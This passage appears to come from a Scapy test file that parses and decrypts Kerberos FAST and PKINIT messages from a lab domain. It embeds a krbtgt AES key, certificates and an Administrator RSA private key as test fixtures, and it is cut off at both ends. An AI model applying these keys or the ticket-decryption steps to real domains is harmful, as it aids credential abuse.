\\\\x87)\\xdc\\xd2=\\xef$\\xb5\\x8ew\\x13\\xba\\xa2\\xc0\\xfc\\xaal,!>\\x17>\\xd0D\\xf7un\\x8cI\\x98D\\x056@\\x88y@\"\\x05T\\xec\\xd5a\\xe66\\x1d)\\xf2\\x80 \\xf5&o\\xa5\\xda\\xcd\\xde_\\x86-\\x00\\xcb\\x02\\xfa\\xc7\\t\\x05\\xfcX\"\\x9d\\xb8\\xbbSe=\\xdey\\x0e\\xbb@\\x00\\xba\\x9bpb\\xbd\\x98\\xe1\\x9az\\xa9\\xdd\\xdd\\xd5\\x00B\\xecu\\xb0\\x08\\xf8\\xbb\\x0f\\xf7z\\xfb\\xd8j\\x14\\xe9i]\\xced\\x00\\xf7\\xdb\\x01\\xe2\\x03\\xda\\xf2\\xbf)-\\xad*,\\x05\\xd7\\x11\\xbc\\xfc,[\\x0f\\xcb\\x8b#\\xfdt\\x04A\\x11\\xfb\\x95\\xe5\\xd1\\x1e\\xbf\\x81\\x16t\\xa4\\x81,\\r\\xb6\\x02\\x17\\xcd\\xa1t\\xb4MX.\\xbd\\xcabFn\\x0c\\xa6\\xb8g@\\x0f\\x14g~_\"\\xb9\\xe9\\x8cu\\x94\\xcc\\x8dX~V\\xacv\\x86v\\x98\\t\\x8d\\xbc\\xfe\\x80\\xee\\x1c%\\xcdJMj\\x18\\x90\\xcf\\t\\xb4\\x8d\\rw\\x1eK\\xfd\\xb3n\\x0f\\xf8|9/\\x04\\xd2\\tIC\\x8f\\xfe%\\xef;\\x86\\xb2Sm\\x7f\\x8f\\x87\\xb2\\xa79(\\x1a\\x15\\xb6\\x80G\\x81)<MO\\x91p\\x90}q\\x1e\\xb2\\x0e\\xc9\\x93m\\x07d\\xdb\\xcax6\\xcc\\xb9{lV\\x19\\xa0\\xfa\\x94:|\\x00&%\\xa2\\x1cvbK\\x9c\\x92\\xf3\\xd7\\xc0Y\\xd4h0\\xd4c\\x92\\x83\\xdeb\\xbaZ\\xa0R\\x81q\\xa6\\x82\\x01\\x070\\x82\\x01\\x03\\xa0\\x03\\x02\\x01\\x03\\xa2\\x81\\xfb\\x04\\x81\\xf8t\\xf3\\xc4\\x02\\xba\\xbe9\\xebg\\xe7\\xeb\\xfa\\x07\\x16J\\xe8\\x99*\\x96\\xae\\x8f>\\x9cg\\xe0\\x19# \\xdd\\x11Z)\\x8f\\x87\\xc2s$.\\xa89\\xeb\\xd8\\x14\\xbb#\\x8a\\xf0\\xbc\\xd5\\xa9\\x00\\x10\\xf9W[M\\xf9\\xc37B-.\\xd9\\x8e]\\xfa \\xf9\\x01\\x9b\\x1fb\\x13h~\\x12\\x11\\x86\\xf1\\xd0\\xcb\\x8c>B\\xf2\\xfe\\x82!\\x8f\\xb2\\xa1vi\\xf5i\\\\\\xcfD\\xcc\\xb3\\xfe\\xda\\xdcpin}\\xa4t\\xc9\\x02\\xa5\\xe4\\x1c\\x17\\xf9\\x05H\\xdf\\x02\\xf2\\xa3n\\xac(*\\x9f\\xb2\\xec\\xf0`\\xbe\\r\\xb8\\x04\\xfd\\x0f\\x19\\xd7&v\\xd4\\x9dA\\xa5l\\x01\\xc7\\xa7\\xd8\\x97B\\x83\\xe1\\x9bD`v\\xb4\\xad\\xe9\\xcc+\\xc1J\\xa6\\xb8\\xe0\\xc1\\xf6\\x9e\\x8e@\\xb3\\x00\\rc\\x9e\\x08\\xbe\\xedq%~\"\\xa0\\x19J\\x90\\x96a\\xb8\\xc5\\x8c\\x012$M\\x97K\\x14e\\x068\\xda\\x03D\\x13On\\xff\\xd9\\x1f\\x88\\xb6`\\xe4K\\xda\\xed\\x9b-\\x02w,t\\xc8\\xd8\\x18\\xe9f\\xfd\\xa9\\xc4\\x82\\xc9p\\x04\\xf9CJ\\x18\\x9e\\x13\\x07\\xce>(')\n\ntgsrep = pkt.root.encPart.decrypt(sessionkey)\nassert tgsrep.nonce == 0x7a33e06a\nassert tgsrep.flags == '01000000100001010000000000000000'\nassert tgsrep.renewTill == '20231213110146Z'\nassert tgsrep.encryptedPaData[0].padataValue.flags == 0x1f\n\n+ Kerberos FAST tests\n\n% Same than in kerberos.rst\n\n= FAST - Parse FAST AS-Req\n\npkt = Ether(bytes.fromhex('52540013d0835254003ea3be08004502089636a1400080063ad3c0a87fd2c0a87fc8fecc0058eea93069573b278e50180402897400000000086a6a82086630820862a103020105a20302010aa38207a23082079e3082079aa10402020088a28207900482078ca082078830820784a082064a30820646a003020101a182063d048206396e82063530820631a003020105a10302010ea20703050000000000a38205796182057530820571a003020105a10c1b0a444f4d312e4c4f43414ca21f301da003020102a11630141b066b72627467741b0a444f4d312e4c4f43414ca382053930820535a003020112a103020102a282052704820523acc8b7671c0d50522f1a8d8452ce450aceb40fff0229e8ee546bccf1512e4877ef93dde465595260a6a5a8e85ea38600ce8dff7d510f3c744e2c43eb9d3187d638f716c29b6e7aa9eb407de28d0161f49013966eda0a161ff174dad42e7aa500cfe298541215448013ffe4883b6b1166f908f50de129487fe77fff874fd4102cdcce8db8dbeb8da02f08cc88b3790cdad5ec499959c7e79d6fef107d1e17ce80cc3df050b7e7a1c31f278e4fd4ea9523c950876f174be363234f8495b9550de1560ba17daeafbf133f78991053d929ad3fd668327d42288e6581671daaef908682ee282e17c31d8f8bb55d27fce155ee2e84a2ff8bc9600891be15e6ede3e1bbd2742a7af8b0a32c48973c9e3776a69647bab11592756c5a15b9101c392efa35d000abb3dabccd97e64426e3fd8d47e0e369c83b5391f38947d536d351c061081d654eef1a3861cdb2ea2bc48222b450d1b7d09c0670493bccc60dfcaa5cfe46fd50adf8e388204a4691dc5f0c3dbae0b4da6ac2dd781f149a444840aaa3a3c3befb5a5c04ee0405baed66afcf9b988d10ea14a955f43df79465e6fc02a12bce3870988950f1ab48e1a4f876f351671c5061e6399a63cb0479f7bd017dfd9bc5be192faf6d4f11e6ee6003933eeaf632f0056c4c1ccd183d7977cfca85419fe5b039674419d802068e792c9576ae2a88bfbeb1f59273226782c6efb288717d8f7a4bc3bf4c697fcac1adc1829f0a914f2559b278ccadd108eb87a11dacc88e4302e9af627474e57171192b94c6b358f8f98e308596215d2fb9d9c2b49c4cbedcb43fc231b86f0493d56b82962cf3383a84f8922c2b99f8fa8fdd85797b09a6e60f72007c0379988be2ff1cfc16f21300c1b4b784174005a9185f760e68ef94b9384eb24decee31b63d1b92278cd75b85d4d80c4e83306533a9d95aa6207cbfbeb0970a41c44aba59839f007923ecd8ff0de8314990a435dbea4dedbee16faf5ab2be9f96d691cfa983a6c843bd183f84c1b4998a3eaa907cae6b82b0ae8363f3edd8cb03d3c9c60ff55a84d8a292ea20555fbd6ce5ad4ad7a6b4bc5bff2e02c477a7a8a98d5a387d389caa172c400b151d95871b2aa16a040dc71a9be5f0774b06a5ca87674ccb4109a2c41db9e3160704218ad495d0751194fbef4becae4d7be24b9d968da592256a2b22cf724e989e71a60d0603b59bebd475285f793794b7a18af49a2b68670e3a6247c453274e35c863a16b5023c6c94659e25abb27c760f989ac0bbf9a5b125d0ea34fb03225cc93d5b8b6829e906883ee76cf8ee61dfacc488e8dc5cbc8ba9705a9e915a68f838232394f97fb1aac4a2a90fe17d46f9c51946a2bf9598df7f5b5e7ee692a78860eea3cef748a5be36529228e40b4aec83ebc8bb14176a4c565b06500e9517229b8340c55812101dbbc6bee693c35873082a5a1a53b35cf3509193d4dc5175c9360a00da71692ba205b3264aecc9ecc8bca31fec43efc8701423bb484f6f21699439dd30f71228f16eaab96b7de3547721d1635bbfe50678900ac378a4958b6c34964f3e0dc843880dbde57fb4a76ab85eba2b190bfdaefc7ba17e109f839493b0f2d6fc7ea17403bebe06f2809314ca514606f54668082364ed6752019f27e1df74f93fcf1c25630a29713a89d4a998c444bc91279c6fc66e0aa5dec72be316e1160cf9f90d5915c464b6bfec5216e901be4726db596a15745511c63736a69ac9ecb9e86601c631b4992653c320e6983562fa613134560cb606621e9661ac5961313ee70868ab48d6010173d8a96fffdb2baf4afe18c846d3fed6f30b9a809d72e647735fc536edec543abc232480d28660395a4819e30819ba003020112a281930481901273d5af61ad426d51d0757e897917caeb6fc1b6950554e8d750f95d27f444e3aaf7ae0bf4595b5e906d9682dbdeedcf6eb42a84ab8092997b783f57710127228165deeb2ce5e09e2ddc71555dc31970a8312d888b8ae766382098276d62b4bd76f34cbc889e24ad5405ec037ceb724fdb71fe247fe2a414a037ed33c796f4475fcfb5993eed147b6d63d740d58da5b0a1173015a003020110a10e040c75f02d8d2954e0ae1a9e0653a282011930820115a003020112a282010c04820108ae9bbc4629c80f4a383a69c4583824295c75f34b000b3fdbdaab073a042935e32c29e0ee2b2b446e4a6a2592362d0d593cddd74dacc24f16353776e1b5d192ad1cf5e63f66f40a134ecb87c077c30922bc0cab00ae23d187d56090d9098f843c54fabe7c012ff87e317dfe339c40911264609d489b041a4e9b52c0eb03ee88a393d17da92786bd1716b92eb0d7a5a24a64ade0870dea8a7e138acdf209ee277cb3fadeedab173fd64cc10a1004010774658b94852639bda10a5e8aff29174e3d2c7032c32631b074afdac0e6832bae74de9be19e522f63bc8499753a209291fee1861c29096cc8ee3cfda5be235b0aa95635916edcfcdaf90b896e2eaa5a57d5e4da0b00408f4201a481af3081aca00703050040810010a11a3018a003020101a111300f1b0d61646d2d302d66617374656e62a2061b04444f4d31a3193017a003020102a110300e1b066b72627467741b04444f4d31a511180f32303337303931333032343830355aa611180f32303337303931333032343830355aa70602043f58a7a0a81530130201120201110201170201180202ff79020103a91d301b3019a003020114a112041053525620202020202020202020202020'))\n\nfastreq =  pkt.root.padata[0].padataValue\n\nassert isinstance(fastreq, PA_FX_FAST_REQUEST)\n\n= FAST - Decrypt fast ticket in AS-REQ\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\nkrbtgt_hex = \"ac67a63d7155791fe31dace230ab516e818c453dfdbd44cbe691b240725c4907\"\nkrbtgt = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(krbtgt_hex))\n\nenc = fastreq.armoredData.armor.armorValue.ticket.encPart\nencticketpart = enc.decrypt(krbtgt)\nassert encticketpart.authtime == '20220712230225Z'\nassert encticketpart.cname.nameString[0] == b\"SRV$\"\n\n= FAST - Decrypt authenticator in AS-REQ\n\nticket_session_key = encticketpart.key.toKey()\nassert ticket_session_key.key == b'\\xe3\\xa2\\x0f\\x8e\\xb2\\xe1*\\xe0\\x7f\\x86\\xcc\\x88\\xe6,\\x08>B\\xd8)m/G\\x82B;\\x9f+\\x86\\xcd\\xcd\\xf4\\x05'\n\nenc = fastreq.armoredData.armor.armorValue.authenticator\nauthenticator = enc.decrypt(ticket_session_key)\n\nassert authenticator.crealm == b\"DOM1.LOCAL\"\nassert authenticator.seqNumber == 0\nassert authenticator.ctime == \"20220712235437Z\"\n\n= FAST - Compute the armor key\n\nsubkey = authenticator.subkey.toKey()\nassert subkey.key == b'%\\xa4n\\xe1\\xd0\\xf5\\x8d\\xc4\\x8d\\xecv\\xe8\\x9c\\xd3\\xc9\\xee\\x1bu\\xc9\\xa5\\xa6\\xf8\\x83f\\x98\\xa1\\xd9\\xe7*I\\x9b\\xf8'\n\nfrom scapy.libs.rfc3961 import KRB_FX_CF2\narmorkey = KRB_FX_CF2(subkey, ticket_session_key, b\"subkeyarmor\", b\"ticketarmor\")\nassert armorkey.key == b'\\x9f\\x18L]I\\x16\\xd0\\xe5\\xa6\\xd9\\x92+\\xbf\\xbc\\xe0\\n\\xd1\\xcb6\\xf3\\xd1.C\\xc2\\xdcp\\xf0H(\\x99\\x14\\x80'\n\n= FAST - Decrypt KDC REQ BODY from AS-REQ\n\nenc = fastreq.armoredData.encFastReq\nkrbfastreq = enc.decrypt(armorkey)\n\nassert krbfastreq.padata[0].padataType == 0x80\nassert krbfastreq.padata[0].padataValue.includePac\nassert krbfastreq.padata[1].padataValue.options == \"10000000000000000000000000000000\"\nassert krbfastreq.reqBody.cname.nameString[0] == b\"adm-0-fastenb\"\nassert krbfastreq.reqBody.etype == [0x12, 0x11, 0x17, 0x18, -0x87, 0x3]\nassert krbfastreq.reqBody.addresses[0].address == b'SRV             '\n\n= FAST - Check Fast Armor checksum\n\ndata = bytes(pkt.root.reqBody)\nfastreq.armoredData.reqChecksum.verify(armorkey, data)\n\n= PKINIT - Parse AS-REQ with CMS structures (MIT Kerberos)\n\npkt = Kerberos(bytes.fromhex('6a820df230820deea103020105a20302010aa3820d4b30820d4730820d2ba103020110a2820d2204820d1e30820d1a80820c4b30820c4706092a864886f70d010702a0820c3830820c34020103310f300d060960864801650304020105003082041c06072b060105020301a082040f0482040b30820407a0733071a00502030a8eb7a111180f32303235303932313130343332385aa20602045ba497a5a316041467a8b2f1aded7272d4840000331ffbbfc942a304a5353033a02204205aeb03e889e99fcd6c205ef484b9dd7b462b9e94c3fe68b115a71cd287fcd775a10d300b0609608648016503040201a182032a308203263082021906072a8648ce3e02013082020c0282010100ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff020102028201007fffffffffffffffe487ed5110b4611a62633145c06e0e68948127044533e63a0105df531d89cd9128a5043cc71a026ef7ca8cd9e69d218d98158536f92f8a1ba7f09ab6b6a8e122f242dabb312f3f637a262174d31bf6b585ffae5b7a035bf6f71c35fdad44cfd2d74f9208be258ff324943328f6722d9ee1003e5c50b1df82cc6d241b0e2ae9cd348b1fd47e9267afc1b2ae91ee51d6cb0e3179ab1042a95dcf6a9483b84b4b36b3861aa7255e4c0278ba3604650c10be19482f23171b671df1cf3b960c074301cd93c1d17603d147dae2aef837a62964ef15e5fb4aac0b8c1ccaa4be754ab5728ae9130c4c7d02880ab9472d455655347fffffffffffffff0382010500028201007b93ec38a6d3a2e5ea4776f7c942c54f06c334ea637cf45e59c21f6638f6b5baa23420d3229c4a418579db1ce3b956d12ec1bce6883621720f2e596a65dd05881745e7524c88447a5e7a45e149e09f163093088716808e6520a471b53631262a19dc4b3b896717ddca77e15c2d8cf31aa1c03a604834e5f852dc4ac86518f53de4d16101c7f26253973987e1f8c6e8298159ff039646052afe14d634891f57abe5787cb023481aceb65c6ee92b123dfd2ddd15f7dcd733be535d063c4d42a309cb7b84163f8924f88c1b3e400b7f78556ba27d0456b739fe261286cffe7ae404379bc2157bf49fc610e4d46339e0e0a380f8e3b818b0bd4f7a038644f12c77bfa2343032300a06082a8648ce3d040304300a06082a8648ce3d040302300b06092a864886f70d01010d300b06092a864886f70d01010ba42c302a300ca00a06082b06010502030602300ca00a06082b06010502030601300ca00a06082b06010502030603a08206243082062030820508a00302010202131b000000028b4c5c90b3392fca000000000002300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313135385a170d3236303932303232313135385a305731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e310e300c060355040313055573657273311630140603550403130d41646d696e6973747261746f7230820122300d06092a864886f70d01010105000382010f003082010a02820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde1210203010001a38202f3308202ef301706092b0601040182371402040a1e08005500730065007230290603551d2504223020060a2b0601040182370a030406082b0601050507030406082b06010505070302300e0603551d0f0101ff0404030205a0304406092a864886f70d01090f04373035300e06082a864886f70d030202020080300e06082a864886f70d030402020080300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604140a63d8a405fe59c3f3abbef3111f6f6a6a08a973301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f7269747930350603551d11042e302ca02a060a2b060104018237140203a01c0c1a41646d696e6973747261746f7240444f4d41494e2e4c4f43414c304e06092b06010401823719020441303fa03d060a2b060104018237190201a02f042d532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d353030300d06092a864886f70d01010b050003820101005b76869c48c9e4f28043253b8552a6017dc25f9dc990da86a79210f334c1a7e50b6125ab176bc7bb194b96a02736c9838117071d533e99467bf24219228bb40b6d410c8fb23f129010b68777acb83944842a0af694673206be22c0a0078ee0543962b31bae8d809ef553dbe858cd063a7a06f1ea7d026394ace39f294ad5d8c1b077e58e7d17f86eea918aa88ac09cf55ffcf147aa14a4c64f4216211e45fd8794b2906a29b97bcbd47a0b213768f5403f9aa08fd23ea92664fb9a0246ae75e34f939102fad7c48b8c5bb650203aa48b48bed4635bff4e3386e694d57a4e7e65939c5a5a72997176b5d0e50bd369e78bbf0cda53db204fbf37839223daff3a06318201d4308201d0020101305e304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102131b000000028b4c5c90b3392fca000000000002300d06096086480165030402010500a049301606092a864886f70d010903310906072b060105020301302f06092a864886f70d010904312204200e44063cba7907120ced545618cd365edc5071fdc806e8fdb990a7c858d37ef9300d06092a864886f70d01010b0500048201008c8e52430905bb06e897cb5eda4a466ebc6bf980a997d662b9a6f94b88173bab6e8b76b375454c7e06f2091f1ef43165e378263290a1dae9243f58a0e234ed0a082364afe9529b8e5ffee1df77f67a448f6461fac44562ca919381146d5c73e5e643ef8936765cb45661dcf4cf8b7652eee81712037ab7f007046e62ee98ea5f9d3acf426462591e9726f8a50677d935ebaf2f1fbc046033b6cb601c67d1bfe0b4485ab99fb1862500e861a114a03f1b693dd674a28516a240698c516bf94f09dde7ef80772e5098083bf3916ced80118d8f9f0bc737ec15c3d65cfb85e0d186ab11e9c7ab9383ee8fb4a2b7681c6c97edc8fcd48b7bb2dac49c52d70fab5ec1a181c83081c53081c28049304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341815d305b304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102106b671318bb858b8e437e4229b0d32f1282160414ab14d5ae948281f079726970b3b8f97003aa760c300aa10402020096a2020400300aa10402020095a2020400a4819230818fa00703050050000010a11a3018a003020101a111300f1b0d41646d696e6973747261746f72a20e1b0c646f6d61696e2e6c6f63616ca321301fa003020102a11830161b066b72627467741b0c646f6d61696e2e6c6f63616ca511180f32303235303932323130343332325aa70602045ba497a5a81a301802011202011102011402011302011002011702011902011a'))\nassert isinstance(pkt.root.padata[0].padataValue, PA_PK_AS_REQ)\n\npk_preauth = pkt.root.padata[0].padataValue\nassert len(pk_preauth.trustedCertifiers) == 1\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[0].rdn[0].type.oidname == \"dc\"\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[0].rdn[0].value.val == b\"LOCAL\"\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[1].rdn[0].type.oidname == \"dc\"\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[1].rdn[0].value.val == b\"DOMAIN\"\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[2].rdn[0].type.oidname == \"commonName\"\nassert pk_preauth.trustedCertifiers[0].subjectName.directoryName[2].rdn[0].value.val == b\"DOMAIN-DC1-CA\"\nassert  pk_preauth.trustedCertifiers[0].issuerAndSerialNumber.serialNumber.val == 142762589450708598374370602088381230866\n\nsignedauthpack = pk_preauth.signedAuthpack\nauthpack = signedauthpack.content.encapContentInfo.eContent\nassert [x.algorithm.oidname for x in authpack.supportedCMSTypes] == [\n    'ecdsa-with-SHA512',\n    'ecdsa-with-SHA256',\n    'sha512WithRSAEncryption',\n    'sha256WithRSAEncryption',\n]\nassert [x.kdfId.oidname for x in authpack.supportedKDFs] == ['id-pkinit-kdf-sha256', 'id-pkinit-kdf-sha1', 'id-pkinit-kdf-sha512']\nassert authpack.pkAuthenticator.nonce == 0x5ba497a5\nassert authpack.pkAuthenticator.freshnessToken is None\nassert authpack.pkAuthenticator.paChecksum2.checksum.val.hex() == \"5aeb03e889e99fcd6c205ef484b9dd7b462b9e94c3fe68b115a71cd287fcd775\"\nassert authpack.pkAuthenticator.paChecksum2.algorithmIdentifier.algorithm.oidname == \"sha256\"\n\n= PKINIT - Verify CMS signature and extract\n\nfrom scapy.layers.tls.cert import Cert, PrivKey, CertList, CMS_Engine\n\n# Get root CA\nca = Cert(bytes.fromhex('3082036930820251a00302010202106b671318bb858b8e437e4229b0d32f12300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313034365a170d3330303932303232323034365a304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d502f47f909c951c87f2e8e6ac1c6f86d555b3311e5ef6086b588fb5eeb66277f63d18f04e65ba07570999bcc7cca3e0fa70914fcfa8acd81d4fbf4bb570a089b1b897cf3e07abc9fa75417bcb7171aaa95e20df12add93fada7df5447210820c1de12e356b248b7fe169019b7cf254c5be50571da26ff4219b8680fa249c14673bf743ef37b46c740353cb88097a099fbc7ca41a79c2cd9bc3a663003edfd12678c88b3970fdc211e38b985d6795d57041de0f3182873670bfee903069f59d3f0ff1634bf57f122ef7d1511775c47fdc574f632c9a1e8af305c81077af542f5499977870d8b0bce0d1fd8088636814d7847e0863ceb0ebe8bb0bd4e47eed01d0203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414ab14d5ae948281f079726970b3b8f97003aa760c301006092b06010401823715010403020100300d06092a864886f70d01010b05000382010100763c9c93d6f0dd98d6ee5269f1d5f8b83fa14e62a9513806f6f978769208ff65f263f1809743f42b6b70cc77f93f5278e62e4d1da2ae5285e8da155951aa5207cea519d373a202d889e37a9fdde6c79e7a574d2dacd3ea695fde5980d16f91b14cd8f3944cc6a5d3d4c5d95e12f863857fe733285ac04d43fdb0ee52dc8ae5c8d1dd6e32405df2f835bd1681dbf5af9fc523cfe31c31fcde16a07f90733f48cff0392a0a18a1787b91d6b67441d78f507043acfb99c64eebc77717a21cf85ec160411a8f8244f8ef493ad22e5bbdb73d647fc6d911b040d373740b11fa65df5f2a8087ae63f69da5fc14e2e320f6d3e013d319a15762ec6ee2eb3cdf9763a523'))\n\n# Build CMS engine to verify the authpack\ncms = CMS_Engine(CertList([ca]))\n\n# Verify signature\nauthpack = cms.verify(signedauthpack, ASN1_OID('id-pkinit-authData'))\nassert isinstance(authpack, KRB_AuthPack)\n\n= PKINIT - Resign AuthPack and re-verify signature\n\n# Get cert/key\ncert = Cert(bytes.fromhex('3082062030820508a00302010202131b000000028b4c5c90b3392fca000000000002300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313135385a170d3236303932303232313135385a305731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e310e300c060355040313055573657273311630140603550403130d41646d696e6973747261746f7230820122300d06092a864886f70d01010105000382010f003082010a02820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde1210203010001a38202f3308202ef301706092b0601040182371402040a1e08005500730065007230290603551d2504223020060a2b0601040182370a030406082b0601050507030406082b06010505070302300e0603551d0f0101ff0404030205a0304406092a864886f70d01090f04373035300e06082a864886f70d030202020080300e06082a864886f70d030402020080300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604140a63d8a405fe59c3f3abbef3111f6f6a6a08a973301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f7269747930350603551d11042e302ca02a060a2b060104018237140203a01c0c1a41646d696e6973747261746f7240444f4d41494e2e4c4f43414c304e06092b06010401823719020441303fa03d060a2b060104018237190201a02f042d532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d353030300d06092a864886f70d01010b050003820101005b76869c48c9e4f28043253b8552a6017dc25f9dc990da86a79210f334c1a7e50b6125ab176bc7bb194b96a02736c9838117071d533e99467bf24219228bb40b6d410c8fb23f129010b68777acb83944842a0af694673206be22c0a0078ee0543962b31bae8d809ef553dbe858cd063a7a06f1ea7d026394ace39f294ad5d8c1b077e58e7d17f86eea918aa88ac09cf55ffcf147aa14a4c64f4216211e45fd8794b2906a29b97bcbd47a0b213768f5403f9aa08fd23ea92664fb9a0246ae75e34f939102fad7c48b8c5bb650203aa48b48bed4635bff4e3386e694d57a4e7e65939c5a5a72997176b5d0e50bd369e78bbf0cda53db204fbf37839223daff3a06'))\nkey = PrivKey(bytes.fromhex('308204bd020100300d06092a864886f70d0101010500048204a7308204a302010002820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde12102030100010282010075a71d72c407d4364cfe5b010ef6cdb8a3b799dd93fa2956bd2c75be3c5e76c9703891b5322b9ea96d0b23f535554d2a013c1b8cd434daa0d68344ab3fef83a54aa9f9226b48c8cbdeb71fa6653e045094482854f2937cdac379ac7d3270388427bedb23a6947d51430a3069a3dacf5d09bd60a8d4f9c35a6d97afbd2b7b6e43e46458433c45c75b87d85830547fd8bfe5ba9119be096833c660b3f4395296a10d2bcdb17ac22d9566aeb602656b715ece5401ef3f4f4731bcbb5316b38a881531a94e36807cc2ef6311e876b41c4fc1053c0d221ad5150ac52b1645aeb6a89861dcbb7faff3350cfa2027a6042681c692ffa3a3a54ef45dc51dadeb132086a502818100d1969cbf231b1e1a73d611fc6d6c60504ccf8c161c49b63b3d40adaeee6540d402c29dfa7f0538a2a4d8870b8bb3e04066423dbdefadf8eadcc9d4bfc2d30654d382eaa70be32fa108ff1bb816abb224d99fffc21cae781fd1637045b7e533614691f42b026ee83dc492e21271bf2fd65e34b4fb31ad522f1e64dc8eaa62b59f02818100c209f373b928c87ae60089f258ee4710983cfcd5586df3aa3bdbb46bf7357681c293328500fafb7daf9a